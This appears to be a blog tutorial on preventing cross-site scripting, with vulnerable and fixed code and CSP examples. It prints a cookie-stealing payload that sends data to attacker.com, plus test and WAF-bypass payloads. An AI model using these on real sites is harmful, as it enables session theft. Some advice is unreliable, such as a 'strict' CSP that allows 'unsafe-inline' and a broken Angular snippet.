Web Security
XSS
Cross-Site Scripting
Prevention
Web Vulnerabilities

XSS (Cross-Site Scripting) Prevention: Complete Guide 2025

SCR Team
February 16, 2026
11 min read
Share

What is Cross-Site Scripting (XSS)?

XSS is a critical vulnerability affecting 36% of web applications. Attackers inject malicious JavaScript code that executes in victims' browsers, allowing theft of sensitive data, session hijacking, and credential harvesting.

Real-World Impact

  • eBay (2015): XSS in image search allowed session hijacking
  • Twitter (2014): XSS in profile names led to account takeovers
  • MySpace (2005): Samy worm infected 1 million profiles

Types of XSS Attacks

1. Stored XSS (Persistent)

Malicious script is stored in database and executed for all users.

<!-- Blog comment form (VULNERABLE) -->
<textarea name="comment" placeholder="Add comment..."></textarea>

<!-- Attacker submits -->
<img src=x onerror="fetch('http://attacker.com/steal?cookie=' + document.cookie)">

<!-- Script stored in DB and executed for every viewer -->

2. Reflected XSS (Non-Persistent)

Malicious script is reflected in URL parameters.

<!-- Vulnerable search -->
http://store.com/search?q=<img src=x onerror=alert('XSS')>

<!-- Server responds -->
Search results for: <img src=x onerror=alert('XSS')>

<!-- Script executes in victim's browser -->

3. DOM-Based XSS

Script modifies DOM using untrusted data.

// VULNERABLE: Using innerHTML with user input
function displayUserProfile() {
  const username = new URLSearchParams(location.search).get('name');
  document.getElementById('profile').innerHTML = `Welcome, ${username}`;
}

// Attacker URL
http://site.com/?name=<img src=x onerror=alert('XSS')>

// Executed in browser

XSS Prevention Techniques

Method 1: Input Encoding (Escaping)

HTML Entity Encoding

function encodeHTML(text) {
  const map = {
    '&': '&amp;',
    '<': '&lt;',
    '>': '&gt;',
    '"': '&quot;',
    "'": '&#39;'
  };
  return text.replace(/[&<>"']/g, char => map[char]);
}

// Usage
const userInput = '<img src=x onerror=alert("XSS")>';
const safe = encodeHTML(userInput);
// Result: &lt;img src=x onerror=alert(&quot;XSS&quot;)&gt;

Method 2: Content Security Policy (CSP)

<!-- Strict CSP Header -->
<meta http-equiv="Content-Security-Policy" 
  content="default-src 'self'; 
           script-src 'self' 'unsafe-inline';
           style-src 'self' https://fonts.googleapis.com;">

<!-- OR HTTP Header -->
Content-Security-Policy: default-src 'self'; script-src 'nonce-{randomvalue}'

Node.js Implementation

const helmet = require('helmet');
const express = require('express');

const app = express();

app.use(helmet.contentSecurityPolicy({
  directives: {
    defaultSrc: ["'self'"],
    scriptSrc: ["'self'", "'unsafe-inline'"],
    styleSrc: ["'self'", "https://fonts.googleapis.com"],
    imgSrc: ["'self'", "data:", "https:"],
    connectSrc: ["'self'", "https://api.example.com"],
  },
}));

Method 3: Use Safe DOM Methods

// VULNERABLE
element.innerHTML = userInput;

// SECURE - Use textContent for text
element.textContent = userInput;

// SECURE - Use createElement for dynamic elements
const div = document.createElement('div');
div.textContent = userInput;
element.appendChild(div);

// SECURE - DOMPurify library
element.innerHTML = DOMPurify.sanitize(userInput);

Method 4: Framework-Level Protection

React (Auto-escapes by default)

// SAFE: React escapes text content automatically
function ShowUserComment({ comment }) {
  return <div>{comment}</div>;
  // <img src=x onerror=alert('XSS')> displayed as text
}

// Use innerHTMLonly when necessary with sanitization
function DangerousComponent({ html }) {
  const sanitized = DOMPurify.sanitize(html);
  return <div dangerouslySetInnerHTML={{ __html: sanitized }} />;
}

Angular (Built-in Sanitization)

import { DomSanitizer } from '@angular/platform-browser';

@Component({
  selector: 'app-user',
  template: '<div [innerHTML]="userInput"></div>'
})
export class UserComponent {
  constructor(private sanitizer: DomSanitizer) {}
  
  // Angular automatically sanitizes
  userInput = this.userInput;
}

Code Examples: Vulnerable vs Secure

Node.js Express

VULNERABLE

app.get('/user/:id', (req, res) => {
  const userId = req.params.id;
  res.send(`<h1>User Profile: ${userId}</h1>`);
});
// URL: /user/<img src=x onerror=alert('XSS')>

SECURE

const escapeHtml = require('escape-html');

app.get('/user/:id', (req, res) => {
  const userId = req.params.id;
  res.send(`<h1>User Profile: ${escapeHtml(userId)}</h1>`);
});

Python Flask

VULNERABLE

from flask import Flask, request

app = Flask(__name__)

@app.route('/search')
def search():
    query = request.args.get('q')
    return f'<h1>Results for: {query}</h1>'

SECURE

from flask import Flask, request, render_template_string
from markupsafe import escape

@app.route('/search')
def search():
    query = request.args.get('q')
    return f'<h1>Results for: {escape(query)}</h1>'

XSS Prevention Checklist

  • Encode all user input before displaying
  • Use templating engines with auto-escaping
  • Implement Content Security Policy (CSP)
  • Use frameworks with built-in XSS protection
  • Sanitize HTML when necessary (DOMPurify, Bleach)
  • Validate input server-side (not just client-side)
  • Use HttpOnly and Secure flags on cookies
  • Implement X-XSS-Protection header
  • Regular security testing (OWASP ZAP, Burp)
  • Security code reviews
  • Developer security training

Testing for XSS

Manual Testing Payloads

// Basic alert test
<script>alert('XSS')</script>

// Event-based
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>

// HTML5
<iframe onload=alert('XSS')>
<body onload=alert('XSS')>

// DOM-based
`${alert('XSS')}`

// WAF bypass attempts
<img src=x ALLonerror=alert(1)>
<img src=x on&#x65;rror=alert(1)>

Using OWASP ZAP for XSS Detection

zaproxy.sh -cmd -quickurl http://target.com -quickout xss-report.html

Content Security Policy Examples

Strict CSP (Recommended)

Content-Security-Policy: default-src 'none'; 
  script-src 'self'; 
  style-src 'self' https://fonts.googleapis.com; 
  img-src 'self' data: https:; 
  font-src 'self' https://fonts.gstatic.com; 
  connect-src 'self' https://api.example.com;
  frame-ancestors 'none';
  base-uri 'self';
  form-action 'self'

Flexible CSP (Legacy compatibility)

Content-Security-Policy: default-src 'self' https:; 
  script-src 'unsafe-inline'; 
  style-src 'unsafe-inline'

Key Takeaways

  1. Defense in Depth: Combine multiple layers (encoding, CSP, frameworks)
  2. Never Trust User Input: Always encode before output
  3. Use Security Headers: Implement CSP, X-XSS-Protection, X-Content-Type-Options
  4. Framework Features: Leverage built-in XSS protection in modern frameworks
  5. Regular Testing: Automated scans + manual testing crucial

Resources


Next Steps

  1. Audit your application for XSS vulnerabilities
  2. Implement CSP headers
  3. Set up automated security testing
  4. Train your team on secure coding
  5. Monitor for XSS attempts in production

Advertisement